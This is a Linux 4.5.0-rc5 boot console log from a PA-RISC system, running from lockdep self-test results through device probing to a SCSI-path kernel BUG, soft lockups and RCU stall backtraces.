     soft-irqs-on + irq-safe-A/21:failed|failed|  ok  |                         
       sirq-safe-A => hirqs-on/12:failed|failed|  ok  |                         
       sirq-safe-A => hirqs-on/21:failed|failed|  ok  |                         
         hard-safe-A + irqs-on/12:failed|failed|  ok  |                         
         soft-safe-A + irqs-on/12:failed|failed|  ok  |                         
         hard-safe-A + irqs-on/21:failed|failed|  ok  |                         
         soft-safe-A + irqs-on/21:failed|failed|  ok  |                         
    hard-safe-A + unsafe-B #1/123:failed|failed|  ok  |                         
    soft-safe-A + unsafe-B #1/123:failed|failed|  ok  |                         
    hard-safe-A + unsafe-B #1/132:failed|failed|  ok  |                         
    soft-safe-A + unsafe-B #1/132:failed|failed|  ok  |                         
    hard-safe-A + unsafe-B #1/213:failed|failed|  ok  |                         
    soft-safe-A + unsafe-B #1/213:failed|failed|  ok  |                         
    hard-safe-A + unsafe-B #1/231:failed|failed|  ok  |                         
    soft-safe-A + unsafe-B #1/231:failed|failed|  ok  |                         
    hard-safe-A + unsafe-B #1/312:failed|failed|  ok  |                         
    soft-safe-A + unsafe-B #1/312:failed|failed|  ok  |                         
    hard-safe-A + unsafe-B #1/321:failed|failed|  ok  |                         
    soft-safe-A + unsafe-B #1/321:failed|failed|  ok  |                         
    hard-safe-A + unsafe-B #2/123:failed|failed|  ok  |                         
    soft-safe-A + unsafe-B #2/123:failed|failed|  ok  |                         
    hard-safe-A + unsafe-B #2/132:failed|failed|  ok  |                         
    soft-safe-A + unsafe-B #2/132:failed|failed|  ok  |                         
    hard-safe-A + unsafe-B #2/213:failed|failed|  ok  |                         
    soft-safe-A + unsafe-B #2/213:failed|failed|  ok  |                         
    hard-safe-A + unsafe-B #2/231:failed|failed|  ok  |                         
    soft-safe-A + unsafe-B #2/231:failed|failed|  ok  |                         
    hard-safe-A + unsafe-B #2/312:failed|failed|  ok  |                         
    soft-safe-A + unsafe-B #2/312:failed|failed|  ok  |                         
    hard-safe-A + unsafe-B #2/321:failed|failed|  ok  |                         
    soft-safe-A + unsafe-B #2/321:failed|failed|  ok  |                         
      hard-irq lock-inversion/123:failed|failed|  ok  |                         
      soft-irq lock-inversion/123:failed|failed|  ok  |                         
      hard-irq lock-inversion/132:failed|failed|  ok  |                         
      soft-irq lock-inversion/132:failed|failed|  ok  |                         
      hard-irq lock-inversion/213:failed|failed|  ok  |                         
      soft-irq lock-inversion/213:failed|failed|  ok  |                         
      hard-irq lock-inversion/231:failed|failed|  ok  |                         
      soft-irq lock-inversion/231:failed|failed|  ok  |                         
      hard-irq lock-inversion/312:failed|failed|  ok  |                         
      soft-irq lock-inversion/312:failed|failed|  ok  |                         
      hard-irq lock-inversion/321:failed|failed|  ok  |                         
      soft-irq lock-inversion/321:failed|failed|  ok  |                         
      hard-irq read-recursion/123:  ok  |                                       
      soft-irq read-recursion/123:  ok  |                                       
      hard-irq read-recursion/132:  ok  |                                       
      soft-irq read-recursion/132:  ok  |                                       
      hard-irq read-recursion/213:  ok  |                                       
      soft-irq read-recursion/213:  ok  |                                       
      hard-irq read-recursion/231:  ok  |                                       
      soft-irq read-recursion/231:  ok  |                                       
      hard-irq read-recursion/312:  ok  |                                       
      soft-irq read-recursion/312:  ok  |                                       
      hard-irq read-recursion/321:  ok  |                                       
      soft-irq read-recursion/321:  ok  |                                       
  --------------------------------------------------------------------------    
  | Wound/wait tests |                                                          
  ---------------------                                                         
                  ww api failures:  ok  |  ok  |  ok  |                         
               ww contexts mixing:failed|  ok  |                                
             finishing ww context:  ok  |  ok  |  ok  |  ok  |                  
               locking mismatches:  ok  |  ok  |  ok  |                         
                 EDEADLK handling:  ok  |  ok  |  ok  |  ok  |  ok  |  ok  |  o|
           spinlock nest unlocked:failed|                                       
  -----------------------------------------------------                         
                                 |block | try  |context|                        
  -----------------------------------------------------                         
                          context:failed|  ok  |  ok  |                         
                              try:failed|  ok  |failed|                         
                            block:failed|  ok  |failed|                         
                         spinlock:failed|  ok  |failed|                         
--------------------------------------------------------                        
153 out of 253 testcases failed, as expected. |                                 
----------------------------------------------------                            
Calibrating delay loop... 1993.93 BogoMIPS (lpj=9969664)                        
pid_max: default: 32768 minimum: 301                                            
Mount-cache hash table entries: 32768 (order: 6, 262144 bytes)                  
Mountpoint-cache hash table entries: 32768 (order: 6, 262144 bytes)             
Brought up 1 CPUs                                                               
devtmpfs: initialized                                                           
clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 191s
atomic64_test: passed                                                           
NET: Registered protocol family 16                                              
Searching for devices...                                                        
Found devices:                                                                  
1. Crestone Peak Fast? at 0xfffffffffe780000 [128] { 0, 0x0, 0x88b, 0x00004 }   
2. Crestone Peak Fast? at 0xfffffffffe781000 [129] { 0, 0x0, 0x88b, 0x00004 }   
3. Crestone Peak Fast? at 0xfffffffffe798000 [152] { 0, 0x0, 0x88b, 0x00004 }   
4. Crestone Peak Fast? at 0xfffffffffe799000 [153] { 0, 0x0, 0x88b, 0x00004 }   
5. Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x0b6, 0x00009 }                  
6. Pluto BC McKinley Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x880, 0x0000c } 
7. Mercury PCI Bridge at 0xfffffffffed20000 [0/0] { 13, 0x0, 0x783, 0x0000a }   
8. Mercury PCI Bridge at 0xfffffffffed24000 [0/2] { 13, 0x0, 0x783, 0x0000a }   
9. Mercury PCI Bridge at 0xfffffffffed26000 [0/3] { 13, 0x0, 0x783, 0x0000a }   
10. Quicksilver AGP Bridge at 0xfffffffffed28000 [0/4] { 13, 0x0, 0x784, 0x0000}
11. BMC IPMI Mgmt Ctlr at 0xfffffff0f05b0000 [16] { 15, 0x0, 0x004, 0x000c0 }   
12. Crestone Peak Fast? Core RS-232 at 0xfffffff0f05e0000 [17] { 10, 0x0, 0x077}
13. Crestone Peak Fast? Core RS-232 at 0xfffffff0f05e2000 [18] { 10, 0x0, 0x077}
Enabling PDC_PAT chassis codes support v0.05                                    
Releasing cpu 1 now, hpa=fffffffffe781000                                       
FP[1] enabled: Rev 1 Model 20                                                   
Releasing cpu 2 now, hpa=fffffffffe798000                                       
FP[2] enabled: Rev 1 Model 20                                                   
Releasing cpu 3 now, hpa=fffffffffe799000                                       
FP[3] enabled: Rev 1 Model 20                                                   
CPU(s): 4 out of 4 PA8800 (Mako) at 1000.000000 MHz online                      
Setting cache flush threshold to 32768 kB                                       
Setting TLB flush threshold to 1236 kB                                          
SBA found Pluto 2.3 at 0xfffffffffed00000                                       
Mercury version TR3.2 (0x32) found at 0xfffffffffed20000                        
LBA: lmmio_space [0xffffffff80000000-0xffffffff9fffffff] - new                  
LBA 0:0: PCI host bridge to bus 0000:00                                         
pci_bus 0000:00: root bus resource [io  0x0000-0xffff]                          
pci_bus 0000:00: root bus resource [mem 0xffffffff80000000-0xffffffff9fffffff] )
pci_bus 0000:00: root bus resource [bus 00-07]                                  
Mercury version TR3.2 (0x32) found at 0xfffffffffed24000                        
LBA 0:2: PCI host bridge to bus 0000:40                                         
pci_bus 0000:40: root bus resource [io  0x10000-0x1ffff] (bus address [0x0000-0)
pci_bus 0000:40: root bus resource [mem 0xffffffffa0000000-0xffffffffafffffff] )
pci_bus 0000:40: root bus resource [bus 40-47]                                  
Mercury version TR3.2 (0x32) found at 0xfffffffffed26000                        
LBA 0:3: PCI host bridge to bus 0000:60                                         
pci_bus 0000:60: root bus resource [io  0x20000-0x2ffff] (bus address [0x0000-0)
pci_bus 0000:60: root bus resource [mem 0xffffffffb0000000-0xffffffffbfffffff] )
pci_bus 0000:60: root bus resource [bus 60-67]                                  
Quicksilver version TR1.0 (0x10) found at 0xfffffffffed28000                    
LBA: lmmio_space [0xffffffffc0000000-0xffffffffdfffffff] - new                  
LBA 0:4: PCI host bridge to bus 0000:80                                         
pci_bus 0000:80: root bus resource [io  0x30000-0x3ffff] (bus address [0x0000-0)
pci_bus 0000:80: root bus resource [mem 0xffffffffc0000000-0xffffffffdfffffff] )
pci_bus 0000:80: root bus resource [bus 80-87]                                  
powersw: Soft power switch at 0xfffffff0f042e278 enabled.                       
vgaarb: setting as boot device: PCI:0000:80:00.0                                
vgaarb: device added: PCI:0000:80:00.0,decodes=io+mem,owns=io+mem,locks=none    
vgaarb: loaded                                                                  
vgaarb: bridge control possible 0000:80:00.0                                    
NET: Registered protocol family 2                                               
TCP established hash table entries: 131072 (order: 8, 1048576 bytes)            
TCP bind hash table entries: 65536 (order: 8, 1048576 bytes)                    
TCP: Hash tables configured (established 131072 bind 65536)                     
UDP hash table entries: 8192 (order: 6, 262144 bytes)                           
UDP-Lite hash table entries: 8192 (order: 6, 262144 bytes)                      
NET: Registered protocol family 1                                               
RPC: Registered named UNIX socket transport module.                             
RPC: Registered udp transport module.                                           
RPC: Registered tcp transport module.                                           
RPC: Registered tcp NFSv4.1 backchannel transport module.                       
Trying to unpack rootfs image as initramfs...                                   
Freeing initrd memory: 10564K (000000007e19d000 - 000000007ebee000)             
Performance monitoring counters enabled for Crestone Peak Fast?                 
futex hash table entries: 8192 (order: 6, 262144 bytes)                         
Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253)            
io scheduler noop registered                                                    
io scheduler deadline registered                                                
io scheduler cfq registered (default)                                           
Serial: 8250/16550 driver, 4 ports, IRQ sharing disabled                        
console [ttyS0] disabled                                                        
17: ttyS0 at MMIO 0xfffffff0f05e0800 (irq = 76, base_baud = 115200) is a 16550A 
console [ttyS0] enabled                                                         
console [ttyS0] enabled                                                         
bootconsole [ttyB0] disabled                                                    
bootconsole [ttyB0] disabled                                                    
18: ttyS1 at MMIO 0xfffffff0f05e2800 (irq = 77, base_baud = 115200) is a 16550A 
Linux agpgart interface v0.103                                                  
brd: module loaded                                                              
HP SDC: No SDC found.                                                           
HP SDC MLC: Registering the System Domain Controller's HIL MLC.                 
HP SDC MLC: Request for raw HIL ISR hook denied                                 
mousedev: PS/2 mouse device common for all mice                                 
rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0               
hidraw: raw HID events driver (C) Jiri Kosina                                   
rtc-generic rtc-generic: setting system clock to 2016-02-21 14:32:46 UTC (14560)
Freeing unused kernel memory: 276K (0000000040100000 - 0000000040145000)        
Loading, please wait...                                                         
starting versionrandom: systemd-udevd urandom read with 59 bits of entropy avaie
 228                                                                            
Fusion MPT base driver 3.04.20                                                  
Copyright (c) 1999-2008 LSI Corporation                                         
SCSI subsystem initialized                                                      
usbcore: registered new interface driver usbfs                                  
usbcore: registered new interface driver hub                                    
Uniform Multi-Platform E-IDE driver                                             
e1000: Intel(R) PRO/1000 Network Driver - version 7.3.21-k8-NAPI                
e1000: Copyright (c) 1999-2006 Intel Corporation.                               
usbcore: registered new device driver usb                                       
ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver                      
sata_sil24 0000:00:01.0: Applying completion IRQ loss on PCI-X errata fix       
ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver                          
ehci-pci: EHCI PCI platform driver                                              
Fusion MPT SPI Host driver 3.04.20                                              
mptbase: ioc0: Initiating bringup                                               
scsi host0: sata_sil24                                                          
scsi host1: sata_sil24                                                          
scsi host2: sata_sil24                                                          
scsi host3: sata_sil24                                                          
e1000 0000:60:03.0 eth0: (PCI:33MHz:32-bit) 00:11:0a:31:8a:77                   
e1000 0000:60:03.0 eth0: Intel(R) PRO/1000 Network Connection                   
siimage 0000:60:02.0: IDE controller (0x1095:0x0680 rev 0x02)                   
siimage 0000:60:02.0: BASE CLOCK == 133                                         
siimage 0000:60:02.0: 100% native mode on irq 72                                
    ide0: MMIO-DMA                                                              
    ide1: MMIO-DMA                                                              
ata1: SATA max UDMA/100 host m128@0xffffffff80088000 port 0xffffffff80080000 ir6
ata2: SATA max UDMA/100 host m128@0xffffffff80088000 port 0xffffffff80082000 ir6
ata3: SATA max UDMA/100 host m128@0xffffffff80088000 port 0xffffffff80084000 ir6
ata4: SATA max UDMA/100 host m128@0xffffffff80088000 port 0xffffffff80086000 ir6
hdc: HL-DT-STDVD+-RW GSA-H21L, ATAPI CD/DVD-ROM drive                           
ioc0: LSI53C1030 B2: Capabilities={Initiator,Target}                            
hdc: UDMA/44 mode selected                                                      
ide0 at 0x107c4080-0x107c4087,0x107c408a on irq 72                              
ide1 at 0x107c40c0-0x107c40c7,0x107c40ca on irq 72                              
ehci-pci 0000:60:01.2: EHCI Host Controller                                     
ehci-pci 0000:60:01.2: new USB bus registered, assigned bus number 1            
ehci-pci 0000:60:01.2: irq 71, io mem 0xffffffffb00a1000                        
ehci-pci 0000:60:01.2: USB 2.0 started, EHCI 0.95                               
usb usb1: New USB device found, idVendor=1d6b, idProduct=0002                   
usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1              
usb usb1: Product: EHCI Host Controller                                         
usb usb1: Manufacturer: Linux 4.5.0-rc5 ehci_hcd                                
usb usb1: SerialNumber: 0000:60:01.2                                            
hub 1-0:1.0: USB hub found                                                      
hub 1-0:1.0: 5 ports detected                                                   
ohci-pci: OHCI PCI platform driver                                              
ohci-pci 0000:60:01.0: OHCI PCI host controller                                 
ohci-pci 0000:60:01.0: new USB bus registered, assigned bus number 2            
ohci-pci 0000:60:01.0: irq 69, io mem 0xffffffffb00a3000                        
ata1: SATA link down (SStatus 0 SControl 0)                                     
scsi host4: ioc0: LSI53C1030 B2, FwRev=01032341h, Ports=1, MaxQ=255, IRQ=67     
usb usb2: New USB device found, idVendor=1d6b, idProduct=0001                   
usb usb2: New USB device strings: Mfr=3, Product=2, SerialNumber=1              
usb usb2: Product: OHCI PCI host controller                                     
usb usb2: Manufacturer: Linux 4.5.0-rc5 ohci_hcd                                
usb usb2: SerialNumber: 0000:60:01.0                                            
hub 2-0:1.0: USB hub found                                                      
hub 2-0:1.0: 3 ports detected                                                   
ohci-pci 0000:60:01.1: OHCI PCI host controller                                 
ohci-pci 0000:60:01.1: new USB bus registered, assigned bus number 3            
ohci-pci 0000:60:01.1: irq 70, io mem 0xffffffffb00a2000                        
scsi 4:0:0:0: Direct-Access     HP 73.4G ST373207LW       HPC1 PQ: 0 ANSI: 3    
scsi target4:0:0: Beginning Domain Validation                                   
scsi target4:0:0: Ending Domain Validation                                      
scsi target4:0:0: FAST-160 WIDE SCSI 320.0 MB/s DT IU QAS RTI WRFLOW PCOMP (6.2)
usb usb3: New USB device found, idVendor=1d6b, idProduct=0001                   
usb usb3: New USB device strings: Mfr=3, Product=2, SerialNumber=1              
usb usb3: Product: OHCI PCI host controller                                     
usb usb3: Manufacturer: Linux 4.5.0-rc5 ohci_hcd                                
usb usb3: SerialNumber: 0000:60:01.1                                            
hub 3-0:1.0: USB hub found                                                      
ata2: SATA link down (SStatus 0 SControl 0)                                     
hub 3-0:1.0: 2 ports detected                                                   
scsi 4:0:2:0: Direct-Access     HP 73.4G ST373207LW       HPC1 PQ: 0 ANSI: 3    
scsi target4:0:2: Beginning Domain Validation                                   
scsi target4:0:2: Ending Domain Validation                                      
scsi target4:0:2: FAST-160 WIDE SCSI 320.0 MB/s DT IU QAS RTI WRFLOW PCOMP (6.2)
random: nonblocking pool is initialized                                         
ata3: SATA link down (SStatus 0 SControl 0)                                     
mptbase: ioc1: Initiating bringup                                               
ata4: SATA link up 3.0 Gbps (SStatus 123 SControl 0)                            
ata4.00: ATA-9: ST3000DM001-1ER166, CC25, max UDMA/133                          
ata4.00: 5860533168 sectors, multi 0: LBA48 NCQ (depth 31/32)                   
ata4.00: configured for UDMA/100                                                
scsi 3:0:0:0: Direct-Access     ATA      ST3000DM001-1ER1 CC25 PQ: 0 ANSI: 5    
sd 3:0:0:0: [sdc] 5860533168 512-byte logical blocks: (3.00 TB/2.73 TiB)        
sd 3:0:0:0: [sdc] 4096-byte physical blocks                                     
sd 3:0:0:0: [sdc] Write Protect is off                                          
sd 3:0:0:0: [sdc] Write cache: enabled, read cache: enabled, doesn't support DPA
 sdc: sdc1                                                                      
sd 3:0:0:0: [sdc] Attached SCSI disk                                            
ioc1: LSI53C1030 B2: Capabilities={Initiator,Target}                            
sd 4:0:0:0: [sda] 143374738 512-byte logical blocks: (73.4 GB/68.4 GiB)         
sd 4:0:2:0: [sdb] 143374738 512-byte logical blocks: (73.4 GB/68.4 GiB)         
sd 4:0:0:0: [sda] Write Protect is off                                          
sd 4:0:0:0: [sda] Write cache: enabled, read cache: enabled, supports DPO and FA
scsi host5: ioc1: LSI53C1030 B2, FwRev=01032341h, Ports=1, MaxQ=255, IRQ=68     
sd 4:0:2:0: [sdb] Write Protect is off                                          
 sda: sda1 sda2 sda3 sda4                                                       
sd 4:0:0:0: [sda] Attached SCSI disk                                            
sd 4:0:2:0: [sdb] Write cache: enabled, read cache: enabled, supports DPO and FA
sd 4:0:2:0: [sdb] Attached SCSI disk                                            
------------[ cut here ]------------                                            
WARNING: at block/blk-merge.c:466                                               
Modules linked in: sd_mod ohci_pci pata_sil680 mptspi ehci_pci ohci_hcd scsi_trd
CPU: 2 PID: 927 Comm: systemd-udevd Not tainted 4.5.0-rc5 #1                    
task: 000000007f622b18 ti: 000000007e550000 task.ti: 000000007e550000           
                                                                                
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                                           
PSW: 00001000000001001111111100001110 Not tainted                               
r00-03  000000ff0804ff0e 000000007e551220 0000000000001000 000000007e551220     
r04-07  000000004070f340 0000000000000000 00000000000001e0 0000000000000000     
r08-11  0000000000000000 0000000000000001 000000007e231918 0000000000000000     
r12-15  0000000000001000 0000000000000008 000000000000001e 0000000042da3cc8     
r16-19  000000007e231918 000000007e2459b8 000000007f01e800 0000000000000000     
r20-23  0000000000000000 000000007feb4400 0000000000002000 000000004078c690     
r24-27  0002ea873ff455e3 cffd1578c0000000 000000007e231918 000000004070f340     
r28-31  0000000000000001 000000007e551320 000000007e551350 0000000000000007     
sr00-03  0000000000013000 0000000000000000 0000000000013000 0000000000013000    
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000    
                                                                                
IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040372d70 0000000040372d74 
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000f88c631918                  
 CPU:        2   CR30: 000000007e550000 CR31: ffffffffffffffff                  
 ORIG_R28: 0000000000000000                                                     
 IAOQ[0]: blk_rq_map_sg+0x5d8/0x610                                             
 IAOQ[1]: blk_rq_map_sg+0x5dc/0x610                                             
 RP(r2): 0x1000                                                                 
Backtrace:                                                                      
 [<0000000010217708>] scsi_init_sgtable+0x70/0x168 [scsi_mod]                   
 [<000000001021786c>] scsi_init_io+0x6c/0x250 [scsi_mod]                        
 [<00000000107f16e0>] sd_setup_read_write_cmnd+0x58/0x948 [sd_mod]              
 [<00000000107f2014>] sd_init_command+0x44/0x130 [sd_mod]                       
 [<0000000010217b54>] scsi_setup_cmnd+0x104/0x1c0 [scsi_mod]                    
 [<0000000010217ea0>] scsi_prep_fn+0x100/0x340 [scsi_mod]                       
 [<000000004036bc14>] blk_peek_request+0x1bc/0x2a8                              
 [<0000000010219aac>] scsi_request_fn+0xf4/0xab0 [scsi_mod]                     
 [<0000000040366fb4>] __blk_run_queue+0x4c/0x70                                 
 [<00000000403919e0>] cfq_insert_request+0x2e0/0x588                            
 [<0000000040366170>] __elv_add_request+0x190/0x2d8                             
                                                                                
---[ end trace c4c138874107ee9a ]---                                            
------------[ cut here ]------------                                            
kernel BUG at drivers/scsi/scsi_lib.c:1097!                                     
CPU: 2 PID: 927 Comm: systemd-udevd Tainted: G        W       4.5.0-rc5 #1      
task: 000000007f622b18 ti: 000000007e550000 task.ti: 000000007e550000           
                                                                                
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                                           
PSW: 00001000000001001111111100001110 Tainted: G        W                       
r00-03  000000ff0804ff0e 000000007e551220 0000000010217708 000000007e551180     
r04-07  0000000010201000 000000007e2459b8 000000007e0d04c0 0000000000000000     
r08-11  000000007e2459b8 000000007fe8e800 0000000040821520 0000000000000110     
r12-15  0000000000000000 000000007e550798 0000000010201000 0000000040738340     
r16-19  000000004082152c 000000007fe8e800 000000007e71d800 0000000000000000     
r20-23  0000000000000000 000000007feb4400 0000000000002000 000000004078c690     
r24-27  0002ea873ff455e3 cffd1578c0000000 000000007e231918 000000004070f340     
r28-31  0000000000000008 000000007e551320 000000007e551220 0000000000000007     
sr00-03  0000000000013000 0000000000000000 0000000000013000 0000000000013000    
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000    
                                                                                
IASQ: 0000000000000000 0000000000000000 IAOQ: 000000001021774c 0000000010217750 
 IIR: 03ffe01f    ISR: 0000000000000000  IOR: 0000000000000000                  
 CPU:        2   CR30: 000000007e550000 CR31: ffffffffffffffff                  
 ORIG_R28: 0000000000000000                                                     
 IAOQ[0]: scsi_init_sgtable+0xb4/0x168 [scsi_mod]                               
 IAOQ[1]: scsi_init_sgtable+0xb8/0x168 [scsi_mod]                               
 RP(r2): scsi_init_sgtable+0x70/0x168 [scsi_mod]                                
Backtrace:                                                                      
 [<000000001021786c>] scsi_init_io+0x6c/0x250 [scsi_mod]                        
 [<00000000107f16e0>] sd_setup_read_write_cmnd+0x58/0x948 [sd_mod]              
 [<00000000107f2014>] sd_init_command+0x44/0x130 [sd_mod]                       
 [<0000000010217b54>] scsi_setup_cmnd+0x104/0x1c0 [scsi_mod]                    
 [<0000000010217ea0>] scsi_prep_fn+0x100/0x340 [scsi_mod]                       
 [<000000004036bc14>] blk_peek_request+0x1bc/0x2a8                              
 [<0000000010219aac>] scsi_request_fn+0xf4/0xab0 [scsi_mod]                     
 [<0000000040366fb4>] __blk_run_queue+0x4c/0x70                                 
 [<00000000403919e0>] cfq_insert_request+0x2e0/0x588                            
 [<0000000040366170>] __elv_add_request+0x190/0x2d8                             
                                                                                
CPU: 2 PID: 927 Comm: systemd-udevd Tainted: G        W       4.5.0-rc5 #1      
Backtrace:                                                                      
 [<000000004015c0a8>] show_stack+0x20/0x38                                      
 [<0000000040397458>] dump_stack+0xa8/0x120                                     
 [<000000004015c27c>] die_if_kernel+0x19c/0x2e0                                 
 [<000000004015d158>] handle_interruption+0x9a8/0x9d0                           
                                                                                
---[ end trace c4c138874107ee9b ]---                                            
NMI watchdog: BUG: soft lockup - CPU#3 stuck for 22s! [systemd-udevd:927]       
Modules linked in: sd_mod ohci_pci pata_sil680 mptspi ehci_pci ohci_hcd scsi_trd
CPU: 3 PID: 927 Comm: systemd-udevd Tainted: G      D W       4.5.0-rc5 #1      
task: 000000007f622b18 ti: 000000007e550000 task.ti: 000000007e550000           
                                                                                
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                                           
PSW: 00001000000001101111111100001111 Tainted: G      D W                       
r00-03  000000ff0806ff0f 000000007e551d10 0000000040202348 000000007e551c40     
r04-07  000000004070f340 000000007e551ce0 000000004079c560 000000004079c4a0     
r08-11  0000000042e4b360 0000000042e4b368 0000000000000001 00000000406e8360     
r12-15  0000000000000000 000000007e551ce0 0000000010201000 0000000040738340     
r16-19  000000007e551220 000000007fe8e800 000000007e71d800 0000000042e421d0     
r20-23  0000000000000001 0000000042e4b368 000000000800000f 0000000000000000     
r24-27  0000000000000000 0000000000000020 0000000042e4b368 000000004070f340     
r28-31  0000000000000002 000000007e551d60 000000007e551d10 0000000000000003     
sr00-03  000000000001b800 0000000000000000 0000000000000000 000000000001b800    
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000    
                                                                                
IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040202370 0000000040202374 
 IIR: 4a7f0030    ISR: 0000000000000000  IOR: 0000000002000200                  
 CPU:        3   CR30: 000000007e550000 CR31: fffffffffffeffff                  
 ORIG_R28: 0000000000000000                                                     
 IAOQ[0]: smp_call_function_many+0x338/0x3b0                                    
 IAOQ[1]: smp_call_function_many+0x33c/0x3b0                                    
 RP(r2): smp_call_function_many+0x310/0x3b0                                     
Backtrace:                                                                      
 [<00000000402024a0>] on_each_cpu+0x58/0xa0                                     
 [<0000000040159998>] flush_tlb_all+0x108/0x1e8                                 
 [<0000000040249600>] tlb_flush_mmu_tlbonly+0x48/0xa8                           
 [<000000004024a480>] tlb_finish_mmu+0x30/0x98                                  
 [<00000000402551dc>] exit_mmap+0x134/0x1b8                                     
 [<00000000401811d8>] mmput+0xc0/0x1a8                                          
 [<0000000040186438>] do_exit+0x320/0xcb8                                       
 [<000000004015c2d8>] die_if_kernel+0x1f8/0x2e0                                 
 [<000000004015d158>] handle_interruption+0x9a8/0x9d0                           
                                                                                
timer_interrupt(CPU 3): delayed! cycles 8291193C rem 903CC4  next/now 259158BA28
NMI watchdog: BUG: soft lockup - CPU#3 stuck for 22s! [systemd-udevd:927]       
Modules linked in: sd_mod ohci_pci pata_sil680 mptspi ehci_pci ohci_hcd scsi_trd
CPU: 3 PID: 927 Comm: systemd-udevd Tainted: G      D W    L  4.5.0-rc5 #1      
task: 000000007f622b18 ti: 000000007e550000 task.ti: 000000007e550000           
                                                                                
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                                           
PSW: 00001000000001101111111100001111 Tainted: G      D W    L                  
r00-03  000000ff0806ff0f 000000007e551d10 0000000040202348 000000007e551c40     
r04-07  000000004070f340 000000007e551ce0 000000004079c560 000000004079c4a0     
r08-11  0000000042e4b360 0000000042e4b368 0000000000000001 00000000406e8360     
r12-15  0000000000000000 000000007e551ce0 0000000010201000 0000000040738340     
r16-19  000000007e551220 000000007fe8e800 000000007e71d800 0000000042e421d0     
r20-23  0000000000000001 0000000042e4b368 000000000800000f 0000000000000000     
r24-27  0000000000000000 0000000000000020 0000000042e4b368 000000004070f340     
r28-31  0000000000000002 000000007e551d60 000000007e551d10 0000000000000003     
sr00-03  000000000001b800 0000000000000000 0000000000000000 000000000001b800    
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000    
                                                                                
IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040202370 0000000040202374 
 IIR: 4a7f0030    ISR: 0000000000000000  IOR: 0000000002000200                  
 CPU:        3   CR30: 000000007e550000 CR31: fffffffffffeffff                  
 ORIG_R28: 0000000000000000                                                     
 IAOQ[0]: smp_call_function_many+0x338/0x3b0                                    
 IAOQ[1]: smp_call_function_many+0x33c/0x3b0                                    
 RP(r2): smp_call_function_many+0x310/0x3b0                                     
Backtrace:                                                                      
 [<00000000402024a0>] on_each_cpu+0x58/0xa0                                     
 [<0000000040159998>] flush_tlb_all+0x108/0x1e8                                 
 [<0000000040249600>] tlb_flush_mmu_tlbonly+0x48/0xa8                           
 [<000000004024a480>] tlb_finish_mmu+0x30/0x98                                  
 [<00000000402551dc>] exit_mmap+0x134/0x1b8                                     
 [<00000000401811d8>] mmput+0xc0/0x1a8                                          
 [<0000000040186438>] do_exit+0x320/0xcb8                                       
 [<000000004015c2d8>] die_if_kernel+0x1f8/0x2e0                                 
 [<000000004015d158>] handle_interruption+0x9a8/0x9d0                           
                                                                                
timer_interrupt(CPU 3): delayed! cycles 82907C30 rem 90D9D0  next/now 2C1646D22C
INFO: rcu_sched self-detected stall on CPUINFO: rcu_sched detected stalls on CP:
        2-...: (1 GPs behind) idle=c8f/140000000000000/0 softirq=1886/1886 fqs= 
        3-...: (5545 ticks this GP) idle=a85/140000000000001/0 softirq=1132/113 
        (detected by 1, t=6002 jiffies, g=39, c=38, q=66)                       
Task dump for CPU 2:                                                            
kworker/2:1H    R  running task        0   998      2 0x00000004                
Workqueue: kblockd cfq_kick_queue                                               
Backtrace:                                                                      
 [<0000000040152044>] __schedule+0x264/0x5b8                                    
 [<00000000401523e4>] schedule+0x4c/0xc8                                        
 [<00000000401a12b8>] worker_thread+0x338/0x688                                 
 [<00000000401a976c>] kthread+0x144/0x178                                       
 [<0000000040148020>] end_fault_vector+0x20/0x28                                
 [<0000000010726808>] ohci_hub_control+0x0/0x650 [ohci_hcd]                     
 [<000000001072b0a0>] ohci_dump+0x0/0xf0 [ohci_hcd]                             
                                                                                
Task dump for CPU 3:                                                            
systemd-udevd   R  running task        0   927    921 0x00000014                
Backtrace:                                                                      
 [<00000000402024a0>] on_each_cpu+0x58/0xa0                                     
 [<0000000040159998>] flush_tlb_all+0x108/0x1e8                                 
 [<0000000040249600>] tlb_flush_mmu_tlbonly+0x48/0xa8                           
 [<000000004024a480>] tlb_finish_mmu+0x30/0x98                                  
 [<00000000402551dc>] exit_mmap+0x134/0x1b8                                     
 [<00000000401811d8>] mmput+0xc0/0x1a8                                          
 [<0000000040186438>] do_exit+0x320/0xcb8                                       
 [<000000004015c2d8>] die_if_kernel+0x1f8/0x2e0                                 
 [<000000004015d158>] handle_interruption+0x9a8/0x9d0                           
                                                                                
                                                                                
                                                                                
        3-...: (5545 ticks this GP) idle=a85/140000000000001/0 softirq=1132/113 
         (t=6147 jiffies g=39 c=38 q=67)                                        
Task dump for CPU 2:                                                            
kworker/2:1H    R  running task        0   998      2 0x00000004                
Workqueue: kblockd cfq_kick_queue                                               
Backtrace:                                                                      
 [<0000000040152044>] __schedule+0x264/0x5b8                                    
 [<00000000401523e4>] schedule+0x4c/0xc8                                        
 [<00000000401a12b8>] worker_thread+0x338/0x688                                 
 [<00000000401a976c>] kthread+0x144/0x178                                       
 [<0000000040148020>] end_fault_vector+0x20/0x28                                
                                                                                
Task dump for CPU 3:                                                            
systemd-udevd   R  running task        0   927    921 0x00000014                
Backtrace:                                                                      
 [<000000004015c0a8>] show_stack+0x20/0x38                                      
 [<00000000401b7e9c>] sched_show_task+0x134/0x1d0                               
 [<00000000401ba93c>] dump_cpu_task+0x64/0x80                                   
 [<00000000401e5dec>] rcu_dump_cpu_stacks+0xf4/0x180                            
 [<00000000401eaeac>] rcu_check_callbacks+0x5ac/0x9b8                           
